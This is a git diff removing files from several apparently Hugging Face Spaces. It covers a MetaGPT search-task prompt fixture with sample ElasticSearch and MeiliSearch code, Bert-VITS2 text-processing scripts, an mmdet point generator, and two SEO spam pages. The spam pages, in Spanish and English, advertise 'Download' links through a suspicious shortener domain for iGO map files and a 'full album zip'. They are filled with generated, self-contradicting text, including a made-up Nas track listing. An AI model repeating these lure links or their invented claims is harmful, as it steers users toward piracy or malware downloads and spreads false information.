-  - `import_data(file_path: str) -> bool`: 导入外部数据到知识库。
-
-- `DataExporter`类接口:
-  - `export_data(file_path: str) -> bool`: 导出知识库数据到外部文件。
-
-## 调用流程（以dot语言描述）
-
-```dot
-digraph call_flow {
-    rankdir=LR;
-
-    subgraph cluster_user_program {
-        label="User Program";
-        style=dotted;
-
-        main_py -> search_engine_py;
-        main_py -> knowledge_base_py;
-        main_py -> user_interface_py;
-        main_py -> data_import_py;
-        main_py -> data_export_py;
-
-        search_engine_py -> knowledge_base_py;
-        search_engine_py -> user_interface_py;
-
-        user_interface_py -> knowledge_base_py;
-        user_interface_py -> search_engine_py;
-
-        data_import_py -> knowledge_base_py;
-        data_import_py -> user_interface_py;
-
-        data_export_py -> knowledge_base_py;
-        data_export_py -> user_interface_py;
-    }
-
-    main_py [label="main.py"];
-    search_engine_py [label="search_engine.py"];
-    knowledge_base_py [label="knowledge_base.py"];
-    user_interface_py [label="user_interface.py"];
-    data_import_py [label="data_import.py"];
-    data_export_py [label="data_export.py"];
-}
-```
-
-这是一个简化的调用流程图，展示了各个模块之间的调用关系。用户程序的`main.py`文件通过调用其他模块实现搜索引擎的功能。`search_engine.py`模块与`knowledge_base.py`和`user_interface.py`模块进行交互，实现搜索算法和搜索结果的展示。`data_import.py`和`data_export.py`模块与`knowledge_base.py`和`user_interface.py`模块进行交互，实现数据导入和导出的功能。用户界面模块`user_interface.py`与其他模块进行交互，提供简洁、直观的用户界面，并支持搜索方式、排序和过滤等操作。
-
-## 当前任务
-
-"""
-
-TASKS = [
-    "添加数据API：接受用户输入的文档库，对文档库进行索引\n- 使用MeiliSearch连接并添加文档库",
-    "搜索API：接收用户输入的关键词，返回相关的搜索结果\n- 使用MeiliSearch连接并使用接口获得对应数据",
-    "多条件筛选API：接收用户选择的筛选条件，返回符合条件的搜索结果。\n- 使用MeiliSearch进行筛选并返回符合条件的搜索结果",
-    "智能推荐API：根据用户的搜索历史记录和搜索行为，推荐相关的搜索结果。"
-]
-
-TASKS_2 = [
-    "完成main.py的功能"
-]
-
-SEARCH_CODE_SAMPLE = """
-import requests
-
-
-class SearchAPI:
-    def __init__(self, elastic_search_url):
-        self.elastic_search_url = elastic_search_url
-
-    def search(self, keyword):
-        # 构建搜索请求的参数
-        params = {
-            'q': keyword,
-            'size': 10  # 返回结果数量
-        }
-
-        try:
-            # 发送搜索请求
-            response = requests.get(self.elastic_search_url, params=params)
-            if response.status_code == 200:
-                # 解析搜索结果
-                search_results = response.json()
-                formatted_results = self.format_results(search_results)
-                return formatted_results
-            else:
-                print('Error: Failed to retrieve search results.')
-        except requests.exceptions.RequestException as e:
-            print(f'Error: {e}')
-
-    def format_results(self, search_results):
-        formatted_results = []
-        hits = search_results.get('hits', {}).get('hits', [])
-        for hit in hits:
-            result = hit.get('_source', {})
-            title = result.get('title', '')
-            summary = result.get('summary', '')
-            url = result.get('url', '')
-            formatted_results.append({
-                'title': title,
-                'summary': summary,
-                'url': url
-            })
-        return formatted_results
-
-
-if __name__ == '__main__':
-    # 使用示例
-    elastic_search_url = 'http://localhost:9200/search'
-    search_api = SearchAPI(elastic_search_url)
-    keyword = input('Enter search keyword: ')
-    results = search_api.search(keyword)
-    if results:
-        for result in results:
-            print(result)
-    else:
-        print('No results found.')
-"""
-
-
-REFINED_CODE = '''
-import requests
-
-
-class SearchAPI:
-    def __init__(self, elastic_search_url):
-        """
-        初始化SearchAPI对象。
-
-        Args:
-            elastic_search_url (str): ElasticSearch的URL。
-        """
-        self.elastic_search_url = elastic_search_url
-
-    def search(self, keyword, size=10):
-        """
-        搜索关键词并返回相关的搜索结果。
-
-        Args:
-            keyword (str): 用户输入的搜索关键词。
-            size (int): 返回结果数量，默认为10。
-
-        Returns:
-            list: 包含搜索结果的列表，每个结果是一个字典，包含标题、摘要和URL等信息。如果没有搜索结果，返回一个空列表。
-        """
-        # 构建搜索请求的参数
-        params = {
-            'q': keyword,
-            'size': size
-        }
-
-        try:
-            # 发送搜索请求
-            response = requests.get(self.elastic_search_url, params=params)
-            response.raise_for_status()
-            # 解析搜索结果
-            search_results = response.json()
-            formatted_results = self.format_results(search_results)
-            return formatted_results
-        except requests.exceptions.RequestException as e:
-            print(f'Error: {e}')
-            return None
-
-    def format_results(self, search_results):
-        """
-        格式化搜索结果。
-
-        Args:
-            search_results (dict): ElasticSearch返回的搜索结果。
-
-        Returns:
-            list: 包含格式化搜索结果的列表，每个结果是一个字典，包含标题、摘要和URL等信息。如果搜索结果为空，返回None。
-        """
-        if not isinstance(search_results, dict):
-            return None
-
-        formatted_results = []
-        hits = search_results.get('hits', {}).get('hits', [])
-        for hit in hits:
-            result = hit.get('_source', {})
-            title = result.get('title', '')
-            summary = result.get('summary', '')
-            url = result.get('url', '')
-            formatted_results.append({
-                'title': title,
-                'summary': summary,
-                'url': url
-            })
-        return formatted_results if formatted_results else None
-
-
-if __name__ == '__main__':
-    # 使用示例
-    elastic_search_url = 'http://localhost:9200/search'
-    search_api = SearchAPI(elastic_search_url)
-    keyword = input('Enter search keyword: ')
-    results = search_api.search(keyword)
-    if results:
-        for result in results:
-            print(result)
-    else:
-        print('No results found.')
-'''
-
-MEILI_CODE = '''import meilisearch
-from typing import List
-
-
-class DataSource:
-    def __init__(self, name: str, url: str):
-        self.name = name
-        self.url = url
-
-
-class SearchEngine:
-    def __init__(self):
-        self.client = meilisearch.Client('http://localhost:7700')  # MeiliSearch服务器的URL
-
-    def add_documents(self, data_source: DataSource, documents: List[dict]):
-        index_name = f"{data_source.name}_index"
-        index = self.client.get_or_create_index(index_name)
-        index.add_documents(documents)
-
-
-# 示例用法
-if __name__ == '__main__':
-    search_engine = SearchEngine()
-
-    # 假设有一个名为"books"的数据源，包含要添加的文档库
-    books_data_source = DataSource(name='books', url='https://example.com/books')
-
-    # 假设有一个名为"documents"的文档库，包含要添加的文档
-    documents = [
-        {"id": 1, "title": "Book 1", "content": "This is the content of Book 1."},
-        {"id": 2, "title": "Book 2", "content": "This is the content of Book 2."},
-        # 其他文档...
-    ]
-
-    # 添加文档库到搜索引擎
-    search_engine.add_documents(books_data_source, documents)
-'''
-
-MEILI_ERROR = '''/usr/local/bin/python3.9 /Users/alexanderwu/git/metagpt/examples/search/meilisearch_index.py
-Traceback (most recent call last):
-  File "/Users/alexanderwu/git/metagpt/examples/search/meilisearch_index.py", line 44, in <module>
-    search_engine.add_documents(books_data_source, documents)
-  File "/Users/alexanderwu/git/metagpt/examples/search/meilisearch_index.py", line 25, in add_documents
-    index = self.client.get_or_create_index(index_name)
-AttributeError: 'Client' object has no attribute 'get_or_create_index'
-
-Process finished with exit code 1'''
-
-MEILI_CODE_REFINED = """
-"""
diff --git a/spaces/diacanFperku/AutoGPT/Mapas Argentina Fbl Igorar.md b/spaces/diacanFperku/AutoGPT/Mapas Argentina Fbl Igorar.md
deleted file mode 100644
index 7bacd0bd41c9bb7f6621705e27292ca598a2d1a5..0000000000000000000000000000000000000000
--- a/spaces/diacanFperku/AutoGPT/Mapas Argentina Fbl Igorar.md	
+++ /dev/null
@@ -1,125 +0,0 @@
-<br />
-<h1>Mapas Argentina Fbl Igorar: la mejor solución para navegar por Argentina con iGO</h1>
-
-<p>Si eres un usuario de iGO, el popular software de navegación GPS, y quieres viajar por Argentina con la mayor precisión y seguridad, necesitas Mapas Argentina Fbl Igorar. Se trata de un archivo de mapas que contiene toda la información geográfica y turística de Argentina, desde sus límites políticos hasta sus carreteras y puntos de interés. En este artículo te explicamos qué es Mapas Argentina Fbl Igorar, cómo descargarlo, cómo instalarlo y cómo usarlo en tu dispositivo iGO.</p>
-<h2>Mapas Argentina Fbl Igorar</h2><br /><p><b><b>Download</b> &#10026;&#10026;&#10026; <a href="https://gohhs.com/2uFSZP">https://gohhs.com/2uFSZP</a></b></p><br /><br />
-
-<h2>¿Qué es Mapas Argentina Fbl Igorar?</h2>
-
-<p>Mapas Argentina Fbl Igorar es un archivo de mapas que se puede usar con iGO, un software de navegación GPS que funciona en dispositivos móviles y sistemas integrados en vehículos. El archivo tiene el formato fbl, que es el formato nativo de iGO, y contiene los datos cartográficos de Argentina, actualizados y detallados.</p>
-
-<p>Mapas Argentina Fbl Igorar te permite navegar por Argentina con tu dispositivo iGO, sin necesidad de conexión a internet ni de datos móviles. El archivo te ofrece las siguientes ventajas:</p>
-
-<ul>
-<li>Te muestra el mapa de Argentina con sus divisiones políticas, sus provincias, sus ciudades y sus pueblos.</li>
-<li>Te indica las rutas y las carreteras más adecuadas para llegar a tu destino, tanto por autopistas como por caminos rurales.</li>
-<li>Te informa sobre los puntos de interés más relevantes de cada zona, como monumentos, museos, parques, hoteles, restaurantes, gasolineras, etc.</li>
-<li>Te avisa sobre los posibles obstáculos o peligros en la ruta, como obras, accidentes, radares, peajes, etc.</li>
-<li>Te ofrece la opción de personalizar el mapa según tus preferencias y necesidades, como el idioma, la escala, el modo nocturno, etc.</li>
-</ul>
-
-<p>Mapas Argentina Fbl Igorar es un archivo imprescindible para los viajeros que quieren conocer Argentina con iGO, ya que les ofrece una navegación precisa, segura y completa.</p>
-
-<h2>¿Cómo descargar Mapas Argentina Fbl Igorar?</h2>
-
-<p>Descargar Mapas Argentina Fbl Igorar es muy fácil si sigues estos pasos:</p>
-<p></p>
-
-<ol>
-<li>Busca en tu navegador web el nombre del archivo seguido de las palabras "descargar" o "download". Por ejemplo: Mapas Argentina Fbl Igorar descargar.</li>
-<li>Elige uno de los sitios web que te aparecen en los resultados de búsqueda. Asegúrate de que sea un sitio seguro y confiable, que no contenga virus ni publicidad engañosa.</li>
-<li>Haz clic en el botón de descarga del archivo que corresponda al mapa de Argentina. Puede que tengas que registrarte o iniciar sesión en el sitio web para poder acceder al enlace.</li>
-<li>Espera a que se complete la descarga del archivo. El tiempo dependerá de la velocidad de tu conexión a internet y del tamaño del archivo.</li>
-<li>Una vez descargado el archivo, podrás copiarlo en la carpeta correspondiente de tu dispositivo iGO.</li>
-</ol>
-
-<p>¡Ya está! Ahora solo te queda instalar Mapas Argentina Fbl Igorar en tu dispositivo iGO y disfrutar de sus beneficios.</p>
-<h2>¿Cómo instalar Mapas Argentina Fbl Igorar en tu dispositivo iGO?</h2>
-
-<p>Instalar Mapas Argentina Fbl Igorar en tu dispositivo iGO es muy sencillo si sigues estos pasos:</p>
-
-<ol>
-<li>Copia el archivo Mapas Argentina Fbl Igorar que has descargado en la carpeta "content/map" de tu dispositivo iGO. Si no tienes esta carpeta, puedes crearla.</li>
-<li>Abre el software iGO en tu dispositivo y accede al menú de configuración.</li>
-<li>Selecciona la opción "Mapas" y luego la opción "Cambiar mapa".</li>
-<li>Busca el mapa de Argentina que has copiado y selecciónalo.</li>
-<li>Guarda los cambios y sal del menú de configuración.</li>
-</ol>
-
-<p>¡Ya está! Ahora podrás usar Mapas Argentina Fbl Igorar en tu dispositivo iGO y navegar por Argentina con la mayor precisión y seguridad.</p>
-
-<h2>¿Qué otras opciones existen para navegar por Argentina con iGO?</h2>
-
-<p>Si no quieres o no puedes descargar Mapas Argentina Fbl Igorar, existen otras opciones para navegar por Argentina con iGO. Algunas de estas opciones son:</p>
-
-<ul>
-<li>Usar el mapa online de iGO, que te permite acceder a los mapas más actualizados de Argentina y del mundo, siempre que tengas conexión a internet y datos móviles.</li>
-<li>Usar el mapa offline de iGO, que te permite descargar los mapas de Argentina y de otros países en tu dispositivo iGO, para usarlos sin conexión a internet ni datos móviles.</li>
-<li>Usar el mapa personalizado de iGO, que te permite crear tu propio mapa de Argentina y de otros lugares, añadiendo o eliminando los datos que quieras.</li>
-</ul>
-
-<p>Estas son algunas de las opciones que existen para navegar por Argentina con iGO. Cada una tiene sus ventajas y sus inconvenientes, por lo que debes elegir la que más se adapte a tus preferencias y necesidades.</p>
-<h2>¿Qué requisitos necesita tu dispositivo iGO para usar Mapas Argentina Fbl Igorar?</h2>
-
-<p>Para usar Mapas Argentina Fbl Igorar en tu dispositivo iGO, debes cumplir algunos requisitos mínimos que te aseguren un buen funcionamiento y una buena compatibilidad. Algunos de estos requisitos son:</p>
-
-<ul>
-<li>Tener instalado el software iGO en tu dispositivo, ya sea un teléfono móvil, una tableta o un sistema integrado en tu vehículo.</li>
-<li>Tener una versión de iGO compatible con el formato fbl, que es el formato nativo de iGO. Las versiones más recientes de iGO suelen ser compatibles con este formato.</li>
-<li>Tener suficiente espacio de almacenamiento en tu dispositivo para copiar el archivo Mapas Argentina Fbl Igorar, que tiene un tamaño aproximado de 100 MB.</li>
-<li>Tener una tarjeta SD o un puerto USB en tu dispositivo para poder transferir el archivo Mapas Argentina Fbl Igorar desde tu ordenador.</li>
-</ul>
-
-<p>Estos son algunos de los requisitos que necesita tu dispositivo iGO para usar Mapas Argentina Fbl Igorar. Si los cumples, podrás disfrutar de este archivo de mapas sin problemas.</p>
-
-<h2>¿Qué beneficios tiene usar Mapas Argentina Fbl Igorar en tu dispositivo iGO?</h2>
-
-<p>Usar Mapas Argentina Fbl Igorar en tu dispositivo iGO tiene muchos beneficios que te harán disfrutar más de tus viajes por Argentina. Algunos de estos beneficios son:</p>
-
-<ul>
-<li>Te ahorras dinero, ya que no tienes que pagar ninguna suscripción ni comprar ningún mapa físico.</li>
-<li>Te ahorras tiempo, ya que no tienes que esperar a que se actualicen los mapas ni a que se descarguen los datos.</li>
-<li>Te ahorras espacio, ya que no tienes que almacenar ningún mapa físico ni ocupar la memoria de tu dispositivo.</li>
-<li>Disfrutas de la mejor calidad, ya que Mapas Argentina Fbl Igorar te ofrece un mapa de Argentina actualizado y detallado, con toda la información geográfica y turística que necesitas.</li>
-<li>Disfrutas de la libertad, ya que puedes usar Mapas Argentina Fbl Igorar cuando quieras y donde quieras, sin depender de ninguna conexión a internet ni de ningún dato móvil.</li>
-</ul>
-
-<p>Estos son algunos de los beneficios que tiene usar Mapas Argentina Fbl Igorar en tu dispositivo iGO. Si quieres navegar por Argentina con la mayor precisión y seguridad, no dudes en descargar este archivo de mapas y usarlo en tu dispositivo iGO.</p>
-<h2>¿Qué problemas puede tener Mapas Argentina Fbl Igorar en tu dispositivo iGO?</h2>
-
-<p>Aunque Mapas Argentina Fbl Igorar es un archivo de mapas muy completo y fiable, puede que en algunas ocasiones te encuentres con algunos problemas o inconvenientes al usarlo en tu dispositivo iGO. Algunos de estos problemas son:</p>
-
-<ul>
-<li>El archivo puede estar dañado o corrupto, lo que impide que se abra o se muestre correctamente el mapa.</li>
-<li>El archivo puede estar desactualizado o incompleto, lo que hace que falten algunos datos o que no coincidan con la realidad.</li>
-<li>El archivo puede ser incompatible con tu versión de iGO o con tu dispositivo, lo que provoca errores o fallos en el funcionamiento.</li>
-<li>El archivo puede ocupar demasiado espacio en tu dispositivo, lo que ralentiza el rendimiento o impide que puedas guardar otros archivos.</li>
-</ul>
-
-<p>Estos son algunos de los problemas que puede tener Mapas Argentina Fbl Igorar en tu dispositivo iGO. Si te ocurre alguno de ellos, puedes intentar solucionarlo de las siguientes formas:</p>
-
-<ul>
-<li>Verifica que el archivo esté bien descargado y copiado en la carpeta correcta de tu dispositivo iGO.</li>
-<li>Busca una versión más reciente o más completa del archivo en internet y descárgala de nuevo.</li>
-<li>Actualiza tu software iGO a la última versión disponible o busca una versión compatible con el formato fbl.</li>
-<li>Borra algunos archivos innecesarios de tu dispositivo iGO o usa una tarjeta SD o un puerto USB con más capacidad.</li>
-</ul>
-
-<p>Estas son algunas de las formas de solucionar los problemas que puede tener Mapas Argentina Fbl Igorar en tu dispositivo iGO. Si no consigues resolverlos, puedes contactar con el soporte técnico de iGO o buscar ayuda en los foros especializados.</p>
-
-<h2>¿Qué alternativas hay a Mapas Argentina Fbl Igorar para navegar por Argentina?</h2>
-
-<p>Si no quieres o no puedes usar Mapas Argentina Fbl Igorar para navegar por Argentina, existen otras alternativas que también te pueden servir. Algunas de estas alternativas son:</p>
-
-<ul>
-<li>Usar otro software de navegación GPS que sea compatible con el formato fbl o que tenga sus propios mapas de Argentina. Algunos ejemplos son Sygic, TomTom o Garmin.</li>
-<li>Usar una aplicación de navegación GPS para tu teléfono móvil o tableta que tenga mapas online u offline de Argentina. Algunos ejemplos son Google Maps, Waze o Here WeGo.</li>
-<li>Usar un mapa físico de papel o digital de Argentina que te muestre las rutas y los puntos de interés. Algunos ejemplos son Michelin, Lonely Planet o National Geographic.</li>
-</ul>
-
-<p>Estas son algunas de las alternativas que hay a Mapas Argentina Fbl Igorar para navegar por Argentina. Cada una tiene sus ventajas y sus inconvenientes, por lo que debes elegir la que más se adapte a tus preferencias y necesidades.</p>
-<h2>Conclusión</h2>
-
-<p>Mapas Argentina Fbl Igorar es un archivo de mapas que te permite navegar por Argentina con tu dispositivo iGO, sin necesidad de conexión a internet ni de datos móviles. El archivo te ofrece un mapa de Argentina actualizado y detallado, con toda la información geográfica y turística que necesitas. Si quieres ver Argentina con iGO, te recomendamos que descargues Mapas Argentina Fbl Igorar y lo instales en tu dispositivo iGO. Pero ten cuidado, porque este archivo también tiene sus riesgos, ya que puede estar dañado, desactualizado, incompatible o ocupar demasiado espacio. Por eso, debes verificar que el archivo esté bien descargado y copiado, buscar una versión más reciente o más completa, actualizar tu software iGO o borrar algunos archivos innecesarios. Si no quieres o no puedes usar Mapas Argentina Fbl Igorar, existen otras opciones para navegar por Argentina, como usar otro software de navegación GPS, usar una aplicación de navegación GPS para tu teléfono móvil o tableta, o usar un mapa físico de papel o digital. Sea como sea, esperamos que disfrutes de tus viajes por Argentina con iGO y que descubras todos los rincones y secretos de este hermoso país.</p> 3cee63e6c2<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/diacanFperku/AutoGPT/Nas-Untitled Full HOT Album Zipl.md b/spaces/diacanFperku/AutoGPT/Nas-Untitled Full HOT Album Zipl.md
deleted file mode 100644
index 75e16dd5eb1744d69f80b88df98bf48a14a616a0..0000000000000000000000000000000000000000
--- a/spaces/diacanFperku/AutoGPT/Nas-Untitled Full HOT Album Zipl.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Nas-Untitled Full Album Zipl</h2><br /><p><b><b>Download File</b> &#9675;&#9675;&#9675; <a href="https://gohhs.com/2uFSZj">https://gohhs.com/2uFSZj</a></b></p><br /><br />
-<br />
-April 26, 2018 - Artist: Nas Release date: 2008 Country: USA Track listing: 01. Queens Get the Money 02. You Can't Stop Us Now (feat. E.Thomas &amp; The Last Poets) 03. The Riddle (feat. E.Thomas &amp; The Last Poets) 04. Keep It Hungry (feat. E .Thomas &amp; The Last Poets) 05. Just A Feeling (feat. E.Thomas &amp; The Last Poets) 06. The Road (feat. E.Thomas &amp; The Last Poets) 07. The Waiting for You (feat. E.Thomas &amp; The Last Poets) 08. The Happening (feat. E.Thomas &amp; The Last Poets) 09. Waiting (feat. E.Thomas &amp; The Last Poets) 10. Wasting Time (feat. E.Thomas) &amp; The Last Poets) 11. Catch Up (feat. E.Thomas &amp; The Last Poets) 12. 8a78ff9644<br />
-<br />
-<br />
-<p></p>
diff --git a/spaces/digitalxingtong/Bufeiyan-b-Bert-VITS2/text/cleaner.py b/spaces/digitalxingtong/Bufeiyan-b-Bert-VITS2/text/cleaner.py
deleted file mode 100644
index 64bd5f7296f66c94f3a335666c53706bb5fe5b39..0000000000000000000000000000000000000000
--- a/spaces/digitalxingtong/Bufeiyan-b-Bert-VITS2/text/cleaner.py
+++ /dev/null
@@ -1,27 +0,0 @@
-from text import chinese, cleaned_text_to_sequence
-
-
-language_module_map = {
-    'ZH': chinese
-}
-
-
-def clean_text(text, language):
-    language_module = language_module_map[language]
-    norm_text = language_module.text_normalize(text)
-    phones, tones, word2ph = language_module.g2p(norm_text)
-    return norm_text, phones, tones, word2ph
-
-def clean_text_bert(text, language):
-    language_module = language_module_map[language]
-    norm_text = language_module.text_normalize(text)
-    phones, tones, word2ph = language_module.g2p(norm_text)
-    bert = language_module.get_bert_feature(norm_text, word2ph)
-    return phones, tones, bert
-
-def text_to_sequence(text, language):
-    norm_text, phones, tones, word2ph = clean_text(text, language)
-    return cleaned_text_to_sequence(phones, tones, language)
-
-if __name__ == '__main__':
-    pass
diff --git a/spaces/digitalxingtong/Bufeiyan-c-Bert-VITS2/text/english_bert_mock.py b/spaces/digitalxingtong/Bufeiyan-c-Bert-VITS2/text/english_bert_mock.py
deleted file mode 100644
index 3b894ced5b6d619a18d6bdd7d7606ba9e6532050..0000000000000000000000000000000000000000
--- a/spaces/digitalxingtong/Bufeiyan-c-Bert-VITS2/text/english_bert_mock.py
+++ /dev/null
@@ -1,5 +0,0 @@
-import torch
-
-
-def get_bert_feature(norm_text, word2ph):
-    return torch.zeros(1024, sum(word2ph))
diff --git a/spaces/digitalxingtong/Luzao-Bert-Vits2/monotonic_align/__init__.py b/spaces/digitalxingtong/Luzao-Bert-Vits2/monotonic_align/__init__.py
deleted file mode 100644
index a323673bb16070d6d0fffddb939b657d0915ff1b..0000000000000000000000000000000000000000
--- a/spaces/digitalxingtong/Luzao-Bert-Vits2/monotonic_align/__init__.py
+++ /dev/null
@@ -1,20 +0,0 @@
-from numpy import zeros, int32, float32
-from torch import from_numpy
-
-from .core import maximum_path_jit
-
-
-def maximum_path(neg_cent, mask):
-    """ numba optimized version.
-    neg_cent: [b, t_t, t_s]
-    mask: [b, t_t, t_s]
-    """
-    device = neg_cent.device
-    dtype = neg_cent.dtype
-    neg_cent = neg_cent.data.cpu().numpy().astype(float32)
-    path = zeros(neg_cent.shape, dtype=int32)
-
-    t_t_max = mask.sum(1)[:, 0].data.cpu().numpy().astype(int32)
-    t_s_max = mask.sum(2)[:, 0].data.cpu().numpy().astype(int32)
-    maximum_path_jit(path, neg_cent, t_t_max, t_s_max)
-    return from_numpy(path).to(device=device, dtype=dtype)
\ No newline at end of file
diff --git a/spaces/digitalxingtong/Nailv-Bert-Vits2/bert_gen.py b/spaces/digitalxingtong/Nailv-Bert-Vits2/bert_gen.py
deleted file mode 100644
index 467655b2c4171608ad690fe7dec350db85f84f1b..0000000000000000000000000000000000000000
--- a/spaces/digitalxingtong/Nailv-Bert-Vits2/bert_gen.py
+++ /dev/null
@@ -1,53 +0,0 @@
-import torch
-from torch.utils.data import DataLoader
-from multiprocessing import Pool
-import commons
-import utils
-from data_utils import TextAudioSpeakerLoader, TextAudioSpeakerCollate
-from tqdm import tqdm
-import warnings
-
-from text import cleaned_text_to_sequence, get_bert
-
-config_path = 'configs/config.json'
-hps = utils.get_hparams_from_file(config_path)
-
-def process_line(line):
-    _id, spk, language_str, text, phones, tone, word2ph = line.strip().split("|")
-    phone = phones.split(" ")
-    tone = [int(i) for i in tone.split(" ")]
-    word2ph = [int(i) for i in word2ph.split(" ")]
-    w2pho = [i for i in word2ph]
-    word2ph = [i for i in word2ph]
-    phone, tone, language = cleaned_text_to_sequence(phone, tone, language_str)
-
-    if hps.data.add_blank:
-        phone = commons.intersperse(phone, 0)
-        tone = commons.intersperse(tone, 0)
-        language = commons.intersperse(language, 0)
-        for i in range(len(word2ph)):
-            word2ph[i] = word2ph[i] * 2
-        word2ph[0] += 1
-    wav_path = f'{_id}'
-
-    bert_path = wav_path.replace(".wav", ".bert.pt")
-    try:
-        bert = torch.load(bert_path)
-        assert bert.shape[-1] == len(phone)
-    except:
-        bert = get_bert(text, word2ph, language_str)
-        assert bert.shape[-1] == len(phone)
-        torch.save(bert, bert_path)
-
-
-if __name__ == '__main__':
-    lines = []
-    with open(hps.data.training_files, encoding='utf-8' ) as f:
-        lines.extend(f.readlines())
-
-   # with open(hps.data.validation_files, encoding='utf-8' ) as f:
-       # lines.extend(f.readlines())
-
-    with Pool(processes=2) as pool: #A100 40GB suitable config,if coom,please decrease the processess number.
-        for _ in tqdm(pool.imap_unordered(process_line, lines)):
-            pass
diff --git a/spaces/digitalxingtong/Xingtong-Read-Bert-VITS2/text/english.py b/spaces/digitalxingtong/Xingtong-Read-Bert-VITS2/text/english.py
deleted file mode 100644
index 781d0a56cef71f66fc67db51d76538be90d3ddd2..0000000000000000000000000000000000000000
--- a/spaces/digitalxingtong/Xingtong-Read-Bert-VITS2/text/english.py
+++ /dev/null
@@ -1,138 +0,0 @@
-import pickle
-import os
-import re
-from g2p_en import G2p
-from string import punctuation
-
-from text import symbols
-
-current_file_path = os.path.dirname(__file__)
-CMU_DICT_PATH = os.path.join(current_file_path, 'cmudict.rep')
-CACHE_PATH = os.path.join(current_file_path, 'cmudict_cache.pickle')
-_g2p = G2p()
-
-arpa = {'AH0', 'S', 'AH1', 'EY2', 'AE2', 'EH0', 'OW2', 'UH0', 'NG', 'B', 'G', 'AY0', 'M', 'AA0', 'F', 'AO0', 'ER2', 'UH1', 'IY1', 'AH2', 'DH', 'IY0', 'EY1', 'IH0', 'K', 'N', 'W', 'IY2', 'T', 'AA1', 'ER1', 'EH2', 'OY0', 'UH2', 'UW1', 'Z', 'AW2', 'AW1', 'V', 'UW2', 'AA2', 'ER', 'AW0', 'UW0', 'R', 'OW1', 'EH1', 'ZH', 'AE0', 'IH2', 'IH', 'Y', 'JH', 'P', 'AY1', 'EY0', 'OY2', 'TH', 'HH', 'D', 'ER0', 'CH', 'AO1', 'AE1', 'AO2', 'OY1', 'AY2', 'IH1', 'OW0', 'L', 'SH'}
-
-
-def post_replace_ph(ph):
-    rep_map = {
-        '：': ',',
-        '；': ',',
-        '，': ',',
-        '。': '.',
-        '！': '!',
-        '？': '?',
-        '\n': '.',
-        "·": ",",
-        '、': ",",
-        '...': '…',
-        'v': "V"
-    }
-    if ph in rep_map.keys():
-        ph = rep_map[ph]
-    if ph in symbols:
-        return ph
-    if ph not in symbols:
-        ph = 'UNK'
-    return ph
-
-def read_dict():
-    g2p_dict = {}
-    start_line = 49
-    with open(CMU_DICT_PATH) as f:
-        line = f.readline()
-        line_index = 1
-        while line:
-            if line_index >= start_line:
-                line = line.strip()
-                word_split = line.split('  ')
-                word = word_split[0]
-
-                syllable_split = word_split[1].split(' - ')
-                g2p_dict[word] = []
-                for syllable in syllable_split:
-                    phone_split = syllable.split(' ')
-                    g2p_dict[word].append(phone_split)
-
-            line_index = line_index + 1
-            line = f.readline()
-
-    return g2p_dict
-
-
-def cache_dict(g2p_dict, file_path):
-    with open(file_path, 'wb') as pickle_file:
-        pickle.dump(g2p_dict, pickle_file)
-
-
-def get_dict():
-    if os.path.exists(CACHE_PATH):
-        with open(CACHE_PATH, 'rb') as pickle_file:
-            g2p_dict = pickle.load(pickle_file)
-    else:
-        g2p_dict = read_dict()
-        cache_dict(g2p_dict, CACHE_PATH)
-
-    return g2p_dict
-
-eng_dict = get_dict()
-
-def refine_ph(phn):
-    tone = 0
-    if re.search(r'\d$', phn):
-        tone = int(phn[-1]) + 1
-        phn = phn[:-1]
-    return phn.lower(), tone
-
-def refine_syllables(syllables):
-    tones = []
-    phonemes = []
-    for phn_list in syllables:
-        for i in range(len(phn_list)):
-            phn = phn_list[i]
-            phn, tone = refine_ph(phn)
-            phonemes.append(phn)
-            tones.append(tone)
-    return phonemes, tones
-
-
-def text_normalize(text):
-    # todo: eng text normalize
-    return text
-
-def g2p(text):
-
-    phones = []
-    tones = []
-    words = re.split(r"([,;.\-\?\!\s+])", text)
-    for w in words:
-        if w.upper() in eng_dict:
-            phns, tns = refine_syllables(eng_dict[w.upper()])
-            phones += phns
-            tones += tns
-        else:
-            phone_list = list(filter(lambda p: p != " ", _g2p(w)))
-            for ph in phone_list:
-                if ph in arpa:
-                    ph, tn = refine_ph(ph)
-                    phones.append(ph)
-                    tones.append(tn)
-                else:
-                    phones.append(ph)
-                    tones.append(0)
-    # todo: implement word2ph
-    word2ph = [1 for i in phones]
-
-    phones = [post_replace_ph(i) for i in phones]
-    return phones, tones, word2ph
-
-if __name__ == "__main__":
-    # print(get_dict())
-    # print(eng_word_to_phoneme("hello"))
-    print(g2p("In this paper, we propose 1 DSPGAN, a GAN-based universal vocoder."))
-    # all_phones = set()
-    # for k, syllables in eng_dict.items():
-    #     for group in syllables:
-    #         for ph in group:
-    #             all_phones.add(ph)
-    # print(all_phones)
\ No newline at end of file
diff --git a/spaces/dineshreddy/WALT/mmdet/core/anchor/point_generator.py b/spaces/dineshreddy/WALT/mmdet/core/anchor/point_generator.py
deleted file mode 100644
index e6fbd988c317992c092c68c827dc4c53223b4a4a..0000000000000000000000000000000000000000
--- a/spaces/dineshreddy/WALT/mmdet/core/anchor/point_generator.py
+++ /dev/null
@@ -1,37 +0,0 @@
-import torch
-
-from .builder import ANCHOR_GENERATORS
-
-
-@ANCHOR_GENERATORS.register_module()
-class PointGenerator(object):
-
-    def _meshgrid(self, x, y, row_major=True):
-        xx = x.repeat(len(y))
-        yy = y.view(-1, 1).repeat(1, len(x)).view(-1)
-        if row_major:
-            return xx, yy
-        else:
-            return yy, xx
-
-    def grid_points(self, featmap_size, stride=16, device='cuda'):
-        feat_h, feat_w = featmap_size
-        shift_x = torch.arange(0., feat_w, device=device) * stride
-        shift_y = torch.arange(0., feat_h, device=device) * stride
-        shift_xx, shift_yy = self._meshgrid(shift_x, shift_y)
-        stride = shift_x.new_full((shift_xx.shape[0], ), stride)
-        shifts = torch.stack([shift_xx, shift_yy, stride], dim=-1)
-        all_points = shifts.to(device)
-        return all_points
-
-    def valid_flags(self, featmap_size, valid_size, device='cuda'):
-        feat_h, feat_w = featmap_size
-        valid_h, valid_w = valid_size
-        assert valid_h <= feat_h and valid_w <= feat_w
-        valid_x = torch.zeros(feat_w, dtype=torch.bool, device=device)
-        valid_y = torch.zeros(feat_h, dtype=torch.bool, device=device)
-        valid_x[:valid_w] = 1
-        valid_y[:valid_h] = 1
-        valid_xx, valid_yy = self._meshgrid(valid_x, valid_y)
-        valid = valid_xx & valid_yy
-        return valid
